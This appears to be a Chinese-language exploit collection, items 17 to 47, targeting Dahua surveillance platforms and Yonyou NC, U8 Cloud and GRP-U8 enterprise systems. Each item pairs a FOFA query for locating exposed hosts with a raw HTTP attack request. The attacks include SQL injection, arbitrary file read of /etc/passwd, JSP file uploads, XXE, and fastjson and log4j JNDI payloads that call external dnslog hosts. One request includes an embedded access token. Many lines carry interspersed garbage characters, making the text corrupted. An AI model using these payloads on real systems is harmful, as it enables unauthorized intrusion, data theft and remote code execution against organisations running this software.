# l6 q1 J& W( c. l; P- D) T& LUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
3 E- |/ i5 _+ ?' B0 E1 DConnection: close
Accept: */*
  G+ J$ f7 [+ X. I4 ^$ zAccept-Language: en
Accept-Encoding: gzip
& T3 m3 b0 l6 C: G

17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
0 Y. t" b7 N3 Z$ {) x) y6 EPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 Y; Y1 c) w! c( b/ N3 \' [Connection: close
- n" `" W- u: `( r2 q: jContent-Length: 345
Accept-Encoding: gzip
+ D! f) _7 _5 E9 X0 L0 s' g
. W; v9 O; }, C) U/ x<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
. s5 o2 G. i- p<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
3 B* L4 d) |! t* `" h2 @      <netMarkings>
7 |' V) g! E4 @       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
' c. n1 A- a( J    </ns1:deleteBulletin>
+ @  {1 m4 e8 a3 k) r* W8 q' Q  </s11:Body>
</s11:Envelope>
0 H8 X, w% w7 i  p- V# g  |  H

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
# G8 V3 J% F/ YFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
  x- T2 i( h% y8 Z" v$ T/ }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. r2 Y/ X) d/ U* e" Z" p' rAccept-Encoding: gzip, deflate
! N  Z0 d  `+ s/ |# R8 `( @# CAccept: */*
Connection: keep-alive


3 F+ D" p# d5 {9 T  K0 \, o: A
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
# F) n; E/ N0 G$ mHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
. C5 g6 h' h% NAccept-Encoding: gzip, deflate
; K; z4 R' T4 r0 E7 x% FAccept: */*
1 i3 T) t& K9 PConnection: keep-alive
9 p/ o/ l; {9 }! ?5 {

# K! L4 M" g9 q4 c1 c2 ~20. 大华ICC智能物联综合管理平台任意文件读取
' m2 C" {0 @7 o- q8 \FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
3 s: d) E) y+ {7 E- Q" H. QHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
$ }( O8 X0 Q5 X' m$ pAccept: */*
  E) H0 W/ N9 z! r: \Accept-Language: en
! q6 i- T6 e6 I; O5 T3 y$ y5 r2 SAccept-Encoding: gzip

7 \1 |* k" m2 z0 b
+ B8 n5 {, q, ^& L! ^1 g21. 大华ICC智能物联综合管理平台random远程代码执行
7 @$ E6 {0 ?2 `7 R8 aFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
, s0 k, p2 z: a; _9 zAccept-Encoding: gzip
7 m* U: Q4 g5 }6 cConnection: close
; `6 P8 g1 }! j, g7 L/ w3 L* TContent-Type: application/json;charset=utf-8
+ v- w8 e8 g1 {7 @; {7 m/ N
{
& K; f/ h; _8 }1 S! \- B"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
: a: X; L+ C+ ]( T$ A5 d+ p3 V    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
3 S- P/ \, R) H1 ], T6 a: I3 I  }""
5 `* P2 V( M& u2 g' M* u) \}


% ]; N$ T! H7 @$ t8 N22. 大华ICC智能物联综合管理平台 log4j远程代码执行
5 R  j* O2 j. U! E) }* q- A7 KFOFA：icon_hash="-1935899595"
9 K6 U  n5 n' ?$ Z2 G* UPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
" U" q$ y' n" v/ nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
! s7 f9 M; w5 t
{
. d# o/ s/ x  u9 u"loginName":"${jndi:ldap://dnslog}"
/ i8 V  E& q. f6 d}


/ f9 g( Y/ I2 F& f
  i+ k( q' T! ?1 A23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
7 ^* {1 X( x% c5 ^8 y1 X  S% _FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
# b7 M# L7 i# H- F& @Host: your-ip
) B6 W0 F% u/ D6 ^4 F2 GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
% S% W4 f( ]5 B6 W6 H! `Accept-Encoding: gzip
Connection: close
1 G  Z0 M" O) R! L
0 L# N, B- l' K0 [4 z& x: H{
    "a":{
7 Y4 H3 X% j, `* ?+ ]) M* n        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
6 s8 u2 |+ e6 {2 w; [* E        }""
}

/ B; Q  M5 f# a  `6 z# Q% N* C
24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
5 r' d) L& j) E  T" R" x( q) qConnection: close
Content-Length: 449
4 h6 @3 T* i% B9 @3 Y& C0 u7 BAccept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

1 p7 R; X4 P: Q  h) Z# E-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
8 K& l1 n* F5 g! n
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
% y, [* p3 A! x4 o-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

9 K! G! L  A6 B) M" R\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
& I4 E$ k3 a5 K, B  i-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
- G! p8 Y  b( W9 j7 q8 ?
$ u( o8 m- r% d6 X. I& `2 F
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
4 H* j' U, E9 c1 ~1 x* mPOST /portal/registerServlet HTTP/1.1
8 e* Q" r6 p. WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
% Q4 x9 _4 a/ B# [0 f2 x. r! s, h  cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
  b0 {& M0 j. F& bAccept-Encoding: gzip, deflate
+ [: Y6 ?) B/ x3 W# BAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
3 \& t! w" X9 x7 k- x% B. y  j
type=1&dsname=ldap://dnslog
  v' h3 m" i/ x
% d; X2 J5 w/ G

3 p+ Q# w( L1 z, i4 P26. 用友NC linkVoucher SQL注入
$ H  O; ^, G, r0 T8 ^: M+ eFOFA：app="用友-UFIDA-NC"
& ?8 P  L1 X4 o% U/ I, ?GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 t% Y: W% q2 ]% y$ UHost: your-ip
) N1 h, ?; P- Y( Q+ h& b* V# ^6 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- G, D. t' ?. G. b4 M% RAccept: */*
5 x. W$ c5 ?4 zConnection: keep-alive
6 I& e' B9 h4 F  R. t5 T
8 ^  p% T! Z6 _, G% ?5 w* u
27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  Y  ~$ @2 F! [Accept-Encoding: identity
2 h3 x. B8 c" p6 R# }Connection: close
Content-Type: text/xml; charset=utf-8
8 v: G6 Q$ O: D) n) ^4 a. T
- M1 [# d% \# Y9 r  k, {
2 }( A" W: E, |28. 用友NC grouptemplet 任意文件上传
; }, ?5 h3 n% A; P% f2 KFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
# c, U1 G; o' F% p4 Q3 SContent-Length: 268
- z: c/ x2 f/ b+ H2 `' X  ]( |Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
2 J* I% v6 L) A6 }
& E) `; h4 ?0 ]; V
/uapim/static/pages/nc/head.jsp
6 F' `2 u+ d4 {: Z0 Z
% }, r8 m7 N) m: r% B8 R9 R29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
3 k3 P4 @6 O- \Connection: keep-alive
$ U2 K' R8 V+ g% i" F) C

30. 用友NC importPml SQL注入
$ N) j  f: S8 ~* ~FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
: a- b( u) ?  T" D/ n* zContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
; D( P1 V/ Z7 m& n- D
% |4 [& g- j: a5 A0 X- _------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
/ Y4 D8 Q. N, @0 U7 jContent-Type: image/jpeg
: c$ M0 D/ I( H: R: X. B------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
0 {: {7 U% N* v; R8 pversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
) y1 u' o1 n9 Y, I" uGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
& `1 e1 c' S1 p0 B( lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 ~. S3 ]6 s' \4 v6 T/ s( c! fContent-Type: application/x-www-form-urlencoded

8 k1 o* p1 i1 U$ _6 B8 \" I
' C* q* t6 |9 p1 G+ d: \& C7 r; R32. 用友NC complainbilldetail SQL注入
. y" M5 H9 ^3 b  s  |. ~version= NC633、NC65
  W" U0 @' Z( r( L7 K4 g+ `; ~+ [FOFA：app="用友-UFIDA-NC"
; P/ w5 X' g5 `) IGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 }& w. C  J- y. TContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
' @) t( v$ s% ~/ T9 l1 IAccept: */*
Connection: keep-alive


* D' c3 u' t3 w, v4 B) v# T/ [( y) z33. 用友NC downTax/download SQL注入
3 p6 \6 L3 R9 n' Y) z1 J5 S$ `1 Dversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 A2 v6 D3 x/ g# ?$ q% NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# J4 V8 ]5 ?- b9 CAccept-Encoding: gzip, deflate
Accept: */*
% v) F, M: }0 b: ?& V6 J# cConnection: keep-alive
8 H4 E; h+ n) e0 T8 Z+ U; B: x

34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
- ^2 G6 o* A% MGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% E# R- M. m5 CContent-Type: application/x-www-form-urlencoded
4 M- f( `8 r  D) v( Q$ F0 XAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
5 E+ z7 t4 ~7 \3 J

35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
; J# z+ g3 ?1 H9 zPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
# {* w8 ^9 G* ~* G# x* fHost: 203.25.218.166:8888
4 c8 U+ R9 Z. X! m, y7 OUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
9 t) U2 W, j  C& S: W: X8 k3 q4 R  }  }Accept: */*
9 F( J3 O" A& L4 P; n) \3 G. tConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
2 c" V" E  v: W. j3 E1 e( bContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
0 q& y% l* Z' x# s% `( u* ]5 E/ E3 |
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

# M% b" Q: y2 Y  b# V. b& N<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


0 i* U2 n6 n; d; g36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
9 _( D' y1 m" j& A: M9 rPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
$ G& h: g' ]* |; X$ U. L" ~0 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
! [$ L* r; r4 J; lContent-Length: 263
; }4 }" w2 C2 F3 c6 \% ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
) Y8 d9 O. l" oUpgrade-Insecure-Requests: 1
2 l  b% A9 K2 [
# n& T( G" w, _' X& Y) L4 Xmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
5 {3 M' h# W1 H: E$ Q" J
# |$ _& o$ D' k* l1 L( l: H
37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
8 Y$ P% o' n* v, z( u' ePOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
" M4 K! P& b' w, AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
6 c7 X. Y5 {5 D& k/ w' e' pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 ^5 q3 |* F" aAccept-Encoding: gzip, deflate
% z  t# M; c+ z" H8 T& TAccept-Language: zh-CN,zh;q=0.9
$ p& H% Q7 f. L  C8 ^Connection: close
% N# J, }' v4 d& F. T- nContent-Type: text/xml;charset=UTF-8
: z2 Q. S& ?4 ?7 m- z  YSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
+ X7 l! n" R3 q* R# j/ X( ^
8 P4 W' }& I) B( Z( `7 i9 z<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
9 \2 r2 x: G: z+ H6 T0 ?, y$ y6 o5 e1 P5 E<soapenv:Header/>
<soapenv:Body>
% x# Y. g/ i  d4 O<iup:getResult>
<!--type: string-->
- o+ O' K4 m7 B. a! P<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
" {4 [* o  L( k; {# u; x; m0 ^<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
8 y1 P# S! v  N

, ~) v, \; r9 X1 r2 b) @. U% R
0 B( ~* ^# J) o4 P6 e+ i7 `5 J38. 用友U8 Cloud smartweb2.RPC.d XXE
: O$ ^2 V1 [9 x/ B1 L& ~: iFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
5 d7 N% L5 w2 k8 V7 E1 |6 i: v! ]$ Q4 PContent-Length: 260
' X# A7 J% B7 S/ L; K" ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
+ t) {: T7 E4 Z" U; @/ [Accept-Language: zh-CN,zh;q=0.9
Connection: close
$ C' w) p* L# X* t) _Content-Type: application/x-www-form-urlencoded
) ^; f8 `1 r+ V. }2 q2 ^9 P
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

4 _, o" O( M$ Q( S( @  |
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
  l5 w( L1 w2 {' qPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
5 `$ E- W1 ]2 A) r- O4 H; ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
" K1 t8 j, _! m) wAccept-Language: en
& j5 Y) q  p2 N, BContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
) k, I; |; x8 h( j# AAccept-Encoding: gzip

9 c7 V$ M. `% \8 Z7 yusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
& I" B; S7 p/ E1 v: jFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
0 W# i. O, X9 t/ E- t( T2 K. ^0 |User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

( \5 h4 q" l+ R! m<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
! O* p! l' @+ T: v; M. T
3 U; x% q6 w' v
. v' F0 ~% v/ u6 U6 {- q$ g7 [41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
7 T! ^- X9 I# ^& g* ?! T/ m; MFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
) i7 [9 p$ B0 t1 A! QHost:
. h8 v; j$ Y8 B" k9 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 `  y5 D% t5 K; zContent-Type: application/json
, B8 j! j) a% F7 x1 C+ zAccept-Encoding: gzip
Connection: close
# T9 B+ @+ Z! c1 p
) x% O; b3 z) s# T- R
# i) V2 i7 a: t$ L% m42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
) K$ [9 e& C7 pPOST /u8qx/SmartUpload01.jsp HTTP/1.1
+ N! W- R: N9 p+ q! J; ?1 c2 WHost: x.x.x.x
3 ?8 A4 Q* t2 p% Z- IContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
  M& I3 c5 @& v( Q1 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD

' i% E& Y9 j7 o& z( {, Y
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
; X7 N' D% F. {' K
( P& d2 J' R5 N" Q43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
1 t4 F$ u; W, I; I+ n/ d! ZPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( _+ @- i4 P4 s) `! u# w' MAccept-Encoding: gzip, deflate
) r) H( ~. C2 m: `Accept-Language: zh-CN,zh;q=0.9
" Z7 G% y* d" T: w; e% jConnection: close
* m! h2 D3 {7 {3 T$ v( p; USOAPAction:
Content-Type: text/xml;charset=UTF-8
* p7 {/ ~8 L# E1 I3 E8 p
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
1 a. j, p, M& u' y) C! @' _/ K! a7 P      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
! a6 F# R/ P+ B2 _, ]  ?         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
( r2 p4 [) }% A2 S; S2 {. y      </ser:getUserNameById>
- a+ X- _1 b4 `! w   </soapenv:Body>
, f% {( ]6 P% o: M% ?</soapenv:Envelope>

0 S$ [- M' q+ x6 r- U: t. F) Z: b
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
0 @  V' P. s) f1 V* Q% l1 @: WGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
5 u, {+ I2 @, |5 \/ Y* PHost: your-ip
+ L& J" X7 Q. K0 K  s1 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
* @) b9 o5 x9 ~# @& E1 k. ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


45. 用友GRP-U8 ufgovbank XXE
" Y6 {. F) E& `- g2 P7 \FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
) X; R# I9 g- z1 d. EHost: 192.168.40.130:222
- w/ P1 Z# |5 i6 k% c3 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
+ Z0 Z0 g& I3 EContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ u  u& _0 t% V" p7 F& kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
0 ]1 b4 o6 ]( H% B( Z
reqData=<?xml version="1.0"?>
$ x. F9 W& z1 v1 T' h<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
5 D" N8 W& P# [3 m6 F

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
1 A" T5 i- w1 T: @) `9 I. \FOFA：app="用友-GRP-U8"
* b6 H. s- v0 u9 F) t  SGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
: F0 H* T( [$ Y8 B  JHost: your-ip
0 n! l7 u  T9 c/ j; aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
- v7 n9 j8 d) ^  p- d* h/ P) SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ Z  ?. u7 T# x5 @/ hAccept-Encoding: gzip, deflate
3 v2 w$ D4 Q5 r. l9 p$ Y! ^. rAccept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
& K: F' i1 |2 b4 h  I$ O1 @FOFA：body="/pf/portal/login/css/fonts/style.css"
2 g/ a; d3 x) BGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
6 u2 ]) J7 A& iCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
